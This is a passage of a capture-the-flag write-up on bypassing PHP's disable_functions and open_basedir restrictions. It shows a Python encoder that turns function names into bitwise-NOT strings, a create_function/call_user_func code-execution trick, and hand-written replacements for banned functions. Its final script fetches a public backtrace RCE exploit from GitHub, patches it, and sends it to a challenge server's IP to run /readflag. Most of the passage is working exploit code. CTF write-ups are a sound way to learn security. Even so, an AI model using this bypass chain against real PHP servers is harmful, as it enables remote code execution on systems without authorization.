    'cmd': exp.call('var_dump', exp.call('strstr', 'abcd', 'b')) + b';'
})

print(res.text)

Try Run strstr By Function Call Encoder

Step 2: Find Useful Functions

What is the next step? Let us see what we have:

  • ability to call arbitrary nested functions except those in disable_functions
  • phpinfo result

We find that pcntl is enabled on the server and is not banned. So does it mean we are able to execute system commands?

No! The configuration limits open_basedir so we cannot call programs outside /var/www/html and /tmp.

Restriction: open_basedir

There are many ways to bypass open_basedir in PHP 7.x, however, most of them require functions like chdir, mkdir which are banned by disable_functions.

It points back to “functions” again. Let us check all the functions we can call:

  • set up a PHP environment

  • copy disable_functions contents from the task output, and write it to a file called disabled.txt

  • write a script like the following

    <?php
        $disabled = explode(',', file_get_contents('disabled.txt'));
        for($i = 0; $i < sizeof($disabled); $i++) { $disabled[$i] = trim($disabled[$i]); }
        $internals = get_defined_functions()["internal"];
        var_dump(array_diff($internals, $disabled));
    
  • run it

  • its output is available at here

Check the output, and we can find that pcntl_* are all useless except pcntl_exec (still N/A, restricted by open_basedir); curl_* seems useful since it might be helpful for an SSRF; putenv is useful for exploiting by LD_PRELOAD, but we cannot find some vulnerabilities like mail, imap_open, ImageMagick etc. by carefully checking phpinfo result; preg_replace has an e modifier for code execution, however, this has been deprecated since PHP 7.

(In fact, I was stuck here almost for a whole afternoon. I struggled a lot on curl_* and putenv and made a mess.)

Wait? Why do we want code execution? We are already able to do function calls using our own encoder. Wait again! This is not real code execution since we can only do function calls, instead of declaring variables, and doing memory tricks. We lose rich syntax in PHP!

Then two functions popped into my view: create_function and call_user_func. We are able to do code execution through:

cmd = exp.call('call_user_func', exp.call('create_function', '', 'OUR_CODE')) + b';'

Step 3: Bypass

After searching tons of materials, we have found one general method of bypassing disable_functions. But we can clearly see ord, chr, str_shuffle, str_replace in the exploit, which are again banned by disable_function.

The only and twisted way is to build our own functions that behave like ord, chr, str_shuffle, str_replace.

Let’s start one by one:

  • remedy for str_repeat

    It is very easy to write for a student studying CS!

    function my_str_repeat($s, $n){ $r = ""; for ($i = 0; $i < $n; $i++) { $r .= $s; } return $r; }
    
  • remedy for chr A bit tricky than str_repeat, but we can build a map by array in PHP like ["\x00", "\x01"]

    function my_chr($i) { static $chr_map = [CHR_MAP]; return $chr_map[$i]; }
    

    However, we want Python to write the map for us, so we can replace CHR_MAP with a generated string.

    result = 'function my_chr($i) { static $chr_map = [CHR_MAP]; return $chr_map[$i]; }'.replace('CHR_MAP', ', '.join(['"\\x'+ hex(i)[2:].zfill(2) + '"' for i in range(256)]))
    
  • remedy for ord It is almost the same one as ord, except for the map. Arrays in PHP can also become associative arrays like ["\x00" => 0, "\x11" => 1].

    function my_ord($c) { static $ord_map = [ORD_MAP]; return $ord_map[$c]; }
    

    Python! It’s your show time:

    result = 'function my_ord($c) { static $ord_map = [ORD_MAP]; return $ord_map[$c]; }'.replace('ORD_MAP', ', '.join(['"\\x%s" => %d' % (hex(i)[2:].zfill(2), i) for i in range(256)]))
    
  • remedy for str_shuffle We want some random values to do random shuffle, but rand-like functions are banned.

    We can write a generator similar to LCG (Linear Congruential Generator) whose equation is

    $$ X_i \equiv 19260817 * i + 10007 \pmod{65536} $$

    to build random value functions.

    function my_rand() { static $i = 1; return ($i++ * 19260817 + 10007) % 65536; }
    function my_str_shuffle($s)
    {
        $n = strlen($s);
        for ($i = 0; $i < $n; $i++)
        {
            if (my_rand() % 2 == 0) { $j = (my_rand() % $n); $t = $s[$i]; $s[$i] = $s[$j]; $s[$j] = $t; }
        }
        return $s;
    }
    

Final Solution

We can now make use of all of above efforts to write an exploit, and read the flag!

import re
import requests

# For passing multiple arguments
import phpserialize

class exp:
    @staticmethod
    def _raw_encode(data):
        encoded = b''
        if isinstance(data, str):
            data = data.encode()
        for b in data:
            encoded += bytes([~b & 0xFF])
        return encoded
    @staticmethod
    def expr(data):
        return b'~' + exp._raw_encode(data)
    @staticmethod
    def symbol(name):
        return b'[~' + exp._raw_encode(name) + b']' + b'[~\xCF]'
    @staticmethod
    def single_argument(arg):
            return exp.expr(arg) + b'.' + exp.call('strlen')
    @staticmethod
    def arguments(*args):
        if len(args) == 0:
            return b''
        else:
            return b'...' + exp.call('unserialize', exp.single_argument(phpserialize.dumps(args)))
    @staticmethod
    def call(function, *args):
        if len(args) == 0:
            return exp.symbol(function) + b'()'
        elif len(args) == 1:
            if type(args[0]) == bytes:
                return exp.symbol(function) + b'(' + args[0] + b')'
            else:
                return exp.symbol(function) + b'(' + exp.single_argument(args[0]) + b')'
        else:
            return exp.symbol(function) + b'(' + exp.arguments(*args) + b')'
    @staticmethod
    def patch(source, prepend, append):
        functions = ['ord', 'chr', 'str_repeat', 'str_shuffle']
        source = source.replace('<?php', '')
        for f in functions:
            source = source.replace(f, 'my_' + f)
        source = source.replace('pwn("uname -a");', '')
        return prepend + '\n' + source + '\n' + append;

prepend = '''
function my_str_repeat($s, $n) { $r = ""; for ($i = 0; $i < $n; $i++) { $r .= $s; } return $r; }

function my_rand() { static $i = 1; return ($i++ * 19260817 + 10007) % 65536; }

function my_chr($i) { static $chr_map = [CHR_MAP]; return $chr_map[$i]; }

function my_ord($c) { static $ord_map = [ORD_MAP]; return $ord_map[$c]; }

function my_str_shuffle($s)
{
    $n = strlen($s);
    for ($i = 0; $i < $n; $i++)
    {
        if (my_rand() % 2 == 0) { $j = (my_rand() % $n); $t = $s[$i]; $s[$i] = $s[$j]; $s[$j] = $t; }
    }
    return $s;
}
'''.replace('CHR_MAP', ', '.join(['"\\x'+ hex(i)[2:].zfill(2) + '"' for i in range(256)])).replace('ORD_MAP', ', '.join(['"\\x%s" => %d' % (hex(i)[2:].zfill(2), i) for i in range(256)]))

# Get original backtrace RCE exploit
backtrace = requests.get('https://raw.githubusercontent.com/mm0r1/exploits/master/php7-backtrace-bypass/exploit.php').text

# Patch it with our own defined remedy functions
rce = exp.patch(backtrace, prepend, 'echo 1; pwn("/readflag");')
# print(rce)

# Create a function and call it
cmd = exp.call('call_user_func', exp.call('create_function', '', rce)) + b';'
# print(cmd)

res = requests.post('http://124.70.199.17:8001/', data={
    'cmd': cmd
})

print(res)
print(res.text)